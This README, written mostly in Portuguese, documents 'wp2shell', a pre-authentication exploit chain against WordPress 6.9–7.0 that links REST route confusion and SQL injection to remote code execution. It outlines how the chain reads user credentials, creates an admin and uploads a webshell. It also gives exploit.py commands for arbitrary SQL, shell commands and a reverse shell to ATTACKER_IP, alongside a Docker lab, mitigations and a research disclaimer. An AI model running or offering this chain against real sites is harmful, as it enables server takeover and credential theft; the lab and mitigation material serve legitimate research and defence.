
Exploit de RCE pré-authentification para WordPress (CVE-2026-63030 + CVE-2026-60137) encadeando confusão de rotas e injeção de SQL para acesso total ao shell. Inclui laboratório Docker para testes seguros.
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| Alias | wp2shell |
| Tipo de Vulnerabilidade | Confusão de Rotas na API REST → Injeção de SQL → RCE |
| Severidade | Crítico — CVSS 10.0 |
| Afetados | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| Corrigido em | WordPress 6.8.6, 6.9.5, 7.0.2 |
| Autenticação Necessária | Nenhuma (Pré-Auth) |
wp2shell é o nome dado à cadeia de exploração que combina 2 vulnerabilidades no WordPress Core:
/wp-json/batch/v1) tem índice desalinhado entre os arrays $matches[] e $validation[] quando um sub-request tem path inválido, fazendo o sub-request seguinte ser executado sob um handler errado → bypass da validação de schema da REST API.WP_Query::get_posts() não sanitiza o parâmetro author__not_in quando recebe uma string em vez de um array → injeção de SQL bruta.Os dois bugs combinados formam uma cadeia completa de RCE Pré-Auth — de 0 credenciais a shell no servidor apenas via requisição HTTP.
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
Leia a análise técnica completa em REPORT.md
O laboratório usa Docker Compose com 3 containers:
| Container | Image | Port |
|---|---|---|
| WordPress (vulnerável) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | interno |
| phpMyAdmin | phpmyadmin:latest | 8081 |
setup.sh)cd wp2shell-lab
bash setup.sh
O script automaticamente:
Quando concluído, exibirá "WP2Shell Lab — READY!" junto com as informações de login.
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
O script PoC foi reescrito do zero, com referência a Icex0/wp2shell-poc. Usa apenas a stdlib do Python 3, sem necessidade de instalar dependências adicionais.
| Condição | Requisito |
|---|---|
| Versão do WordPress | 6.9.0–6.9.4 ou 7.0.0–7.0.1 |
| Endpoint batch da REST API | Acessível (ativado por padrão) |
| Autenticação | Nenhuma necessária |
| Rede | Atacante alcança o WordPress |
add_filter('rest_batch_disabled', '__return_true'); ao functions.php./wp-json/batch/v1 que contenham palavras-chave de SQL.Este repositório foi criado para fins de pesquisa, aprendizado e CTF em ambiente de laboratório controlado. Não use para atacar sistemas reais. Qualquer exploração não autorizada é violação da lei.